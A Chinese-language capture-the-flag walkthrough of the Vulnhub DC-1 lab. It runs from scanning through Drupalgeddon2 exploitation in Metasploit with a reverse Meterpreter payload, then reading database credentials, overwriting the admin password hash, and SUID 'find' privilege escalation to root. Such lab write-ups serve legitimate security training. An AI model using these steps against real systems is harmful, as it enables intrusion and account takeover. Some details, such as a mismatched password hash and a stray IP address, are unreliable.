介绍
DC系列靶场是一组专门为渗透测试而设计的易受攻击的实验室,共有九个靶场。它的目的是让初学者获得渗透测试领域的经验,但是它的难度取决于你的技能和知识,以及你的学习能力。每个靶场都有一些隐藏的标志,包含了一些提示或线索,帮助你获取更高级别的权限,直到拿到root身份。
DC系列靶场可以在Vulnhub平台上下载,也可以在百度网盘上下载。每个靶场都是一个虚拟机文件,可以用VMware或VirtualBox等虚拟机软件运行。每个靶场都有一个固定的IP地址,可以通过网络连接进行攻击。
前提
本教学讲义假设你已经具备以下条件:
你已经下载并安装了VMware或VirtualBox等虚拟机软件,并配置了合适的网络设置。
你已经下载并导入了DC系列靶场的虚拟机文件,并启动了它们。
你已经准备了一个用于攻击的虚拟机或物理机,安装了Kali Linux或其他类似的操作系统,并安装了必要的渗透测试工具。
你已经掌握了基本的Linux命令和网络知识。
开始
DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/
第一步:环境配置。
打开虚拟机后,将其网络适配器调整为NAT模式,确保kali虚拟机与其模式一致。
第二步:信息收集
kali IP已知。
DC-1 IP未知。
进入kali使用用nmap,或者arp-scan。
`nmap:nmap -sP 192.168.106.0/24 `
arp-scan: arp-scan -l
获得 DC-1 IP:192.168.106.159
拿到IP后我们需要对目标系统进行信息收集,以了解其运行的服务,开放的端口,可能存在的漏洞等。我们可以使用nmap工具进行扫描,命令如下:
nmap -sV -sC -A -oN dc1_scan.txt 192.168.106.159
这个命令的含义是:
-sV
:探测目标系统的服务版本。-sC
:使用默认的nmap脚本进行扫描。-A
:这个选项表示执行“全面扫描”。它包含了多个子选项,包括版本探测、脚本扫描、操作系统探测等。通过使用这个选项,你可以获取尽可能多的关于目标主机的信息。-oN
:将扫描结果输出到一个文本文件中。192.168.106.159
:目标系统的IP地址。
扫描结果如下:
从扫描结果中,我们可以得到以下信息:
目标主机信息:
IP 地址:192.168.106.159
主机状态:在线(Latency 0.00046 秒)
开放的端口和服务信息:
22/tcp: 开放,运行 SSH 服务,版本为 OpenSSH 6.0p1 Debian 4+deb7u7(SSH 协议 2.0)
80/tcp: 开放,运行 Apache httpd 2.2.22,网站标题显示为 "Welcome to Drupal Site | Drupal Site"
111/tcp: 开放,运行 RPCBind 服务
SSH 服务信息:
SSH 主机密钥信息(DSA、RSA、ECDSA)
SSH 协议版本:2.0
Web 服务信息(端口 80):
使用的 Web 服务器:Apache/2.2.22 (Debian)
通过 robots.txt 文件禁止了一些路径
使用的 Web 框架:Drupal 7
RPCBind 服务信息(端口 111):
支持的 RPC 版本和服务信息
网络设备信息:
MAC 地址:00:0C:29:9D:41:05(VMware)
设备类型:通用用途
运行的操作系统:Linux 3.X
OS CPE:cpe:/o:linux:linux_kernel:3
操作系统细节:Linux 3.2 - 3.16
路由信息:
距离网络的跳数:1 hop
服务信息:
运行的操作系统:Linux
CPE 信息:cpe:/o:linux:linux_kernel
可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去访问下DC-1的IP:192.168.106.159
看到网站,我们可以试试挖下目录文件。
指纹识别(whatweb)
whatweb -v 192.168.106.159
通过查看返回信息 也可以找到CMS版本以及名字
接下来,我们需要对目标系统的网站进行探测,以了解其结构,内容,功能等。我们可以使用nikto和dirb工具进行扫描,命令如下:
nikto -h 192.168.106.159 -o nikto_dc1.txt
dirb http://192.168.106.159 /usr/share/wordlists/dirb/common.txt -o dirb_dc1.txt
nikto
:一个用于检测网站漏洞和配置错误的工具。-h
:指定目标主机的IP地址或域名。-o
:将扫描结果输出到一个文本文件中。dirb
:一个用于暴力破解网站目录和文件的工具。http://192.168.56.101
:目标网站的URL。/usr/share/wordlists/dirb/common.txt
:指定用于暴力破解的字典文件。-o
:将扫描结果输出到一个文本文件中。
从扫描结果中,我们可以得到以下信息:
目标网站使用的是Apache/2.2.22 (Debian)服务器,存在一些配置错误和安全风险。
目标网站有一些可能有趣的目录,如/admin/, /backup/, /test/, /tmp/等,其中/icons/目录存在目录遍历漏洞。
目标网站的根目录下只有一个index.html文件
这个文件没有给出任何有用的信息,只是简单地介绍了这个靶场的目的和难度。
2.查找漏洞
打开漏洞利用数据库:
搜索Drupal 7
3.漏洞利用
Drupal上面已经给出meatsploit验证过的漏洞,所以我们去msf进行尝试。
1.进入msf
msfconsole
2.查找相应模块
search Drupa
3.使用相应模块, exploit/unix/webapp/drupal_drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
可以看到已经默认给我们选择好了对应的payload,看到了熟悉的php/meterpreter/reverse_tcp
5.配置的参数
那我们直接查看参数即可
show options
yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS
6.配置
set rhosts 192.168.106.159
7.启动
run
可以看到session的建立
9.查看DC-1基本信息
sysinfo
10.获得shell
shell
为了符合我们的使用习惯,所以利用python在目标系统上生成一个交互式的 Bash Shell
python -c "import pty;pty.spawn('/bin/bash')"
这条命令是一个用于在交互式 Shell 中执行命令的 Python 命令。它使用 Python 的pty
模块来实现一个伪终端(pseudo-terminal),然后在该伪终端上生成一个交互式的 Bash Shell。
python -c
: 这部分表示运行一个 Python 脚本,-c
参数后面可以跟着一行 Python 代码。"import pty;pty.spawn('/bin/bash')"
: 这是要运行的 Python 代码片段,它执行了以下操作:import pty
: 导入 Python 的pty
模块,该模块用于控制伪终端。pty.spawn('/bin/bash')
: 这行代码使用pty.spawn()
函数来启动一个/bin/bash
进程,也就是 Bash Shell。这将创建一个交互式的 Shell 会话,使你能够与目标系统进行命令交互。
这个命令的目的是在目标系统上生成一个交互式的 Bash Shell,让你能够直接在目标系统上执行命令,就像你在本地系统上一样。
3.flag1
ls直接查看当前文件,我们就可以看到flag1.txt
再使用cat查看
ls
cat flag1.txt
给了个提示:Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件——你也是。
4.flag2
每个好的CMS都需要一个配置文件——你也是。
那我们找下他的配置文件
find . -name "con*"
很多,但是感觉都不对劲,此时我们应该直接下载此cms的源码来进行查看,但是我选择直接百度一下
cat ./sites/default/settings.php
发现flag2
* Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials?
暴力破解和字典攻击并不是获取访问权限的唯一途径(你肯定需要访问权限)。使用这些凭据,你可以做什么?
这段文字暗示,不仅仅通过暴力破解和字典攻击可以获取访问权限。它提到了一种可能性,即获取了访问凭据(可能是用户名和密码)之后,你可以利用这些凭据进行其他的操作。
5.flag3
前面给了我们数据库账号密码以及数据库名字
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
我们尝试登录一下
mysql -udbuser -pR0ck3t
查看库并进入当前数据库中
show databases;
use drupaldb
寻找用户信息
show tables;
查看表中内容
select * from users\G;
/G 的作用是将查到的结构旋转90度变成纵向:
可以看到admin的密码给加密了$S$D应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。
find . -name "*password"
找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西
./scripts/password-hash.sh
意思应该是直接再后面加密码就会返回加密后的结果
我们简单测试下,设置密码123456
./scripts/password-hash.sh 123456
果然返回了hash后的值。
原来admin的密码hash后为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,那么我们就把原来密码替换了
刚刚123456 hash后为:$S$Dt5Bb1dmxqfKY9jpZuhVDhwOiP3xGLpDETsesbsTIZjEFRADhfYl
重新回到数据库drupaldb内。
mysql -udbuser -pR0ck3t
show databases;
use drupaldb
更新密码
update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";
更新完成后,我们访问网站192.168.106.159进行登录
找一下看看有什么东西
得到flag3;
并且获得提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
6.flag4
根据提示passwd我们可以想到/etc/passwd
cat /etc/passwd
发现里面有flag4,给了个路径/home/flag4
切换到flag4用户不知道密码,那就只能去到其目录下里面看看有什么文件
cd /home/flag4
ls
cat flag4.txt
发现提示目录不存在,草率了啊,没有加后缀,直接cat查看flag4.txt
找到flag4
并且给出提示:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
7.flag5
根据提示我们进入/root,ls查看目录下的文件
cd /root
发现没有权限需要提权,直接SUID提权,查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find
: 这是 Linux 系统中用于查找文件和目录的命令。/
: 这表示搜索的起始路径是根目录。-perm -u=s
: 这个部分是find
命令的选项之一。-perm
选项用于指定要搜索的文件权限。-u=s
表示要查找具有 SUID 权限的文件。SUID 权限位是文件所有者权限中的一个,它允许执行文件以文件所有者的权限运行。-type f
: 这部分限定了搜索结果只包括文件(而不包括目录)。2>/dev/null
: 这部分将标准错误输出重定向到/dev/null
,从而不会显示权限错误或访问拒绝的信息。
综合起来,这个命令的目的是在整个文件系统中搜索具有 SUID 权限的可执行文件,并将结果显示在终端上。
看到find就在其中,那就比较简单了。直接使用find提权
find / -exec "/bin/bash" -p \;
find
: 这是一个用于搜索文件和目录的 Linux 命令。/
: 这表示搜索的起始路径是根目录,也就是整个文件系统。-exec /bin/bash \;
: 这个部分使用-exec
选项来执行命令。/bin/bash
是一个用于执行命令的 Shell。\;
表示命令结束,这是一个必需的语法。
这个命令的效果是,它会遍历整个文件系统,对每个文件和目录都执行/bin/bash
,从而启动一个 Shell。这意味着你会在整个文件系统中打开许多 Shell,可能以系统的特权(root 权限)运行,这将对系统的安全和稳定性造成严重威胁。
可以看到有一个thefinalflag.txt 最后的flag,直接cat查看即可
cat thefinalflag.txt
获得最终的flag
8.总结
1.nmap,arp-scan使用
2.whatweb 指纹识别
3.msf使用对应的模块
4.mysql的修改数据
5.SUID提权
至此,我们已经完成了DC-1靶场的所有步骤,学习了一些基本的渗透测试工具和技术,以及如何识别和利用常见的漏洞和弱点并获取了所有标志文件,并总结我们的收获和经验。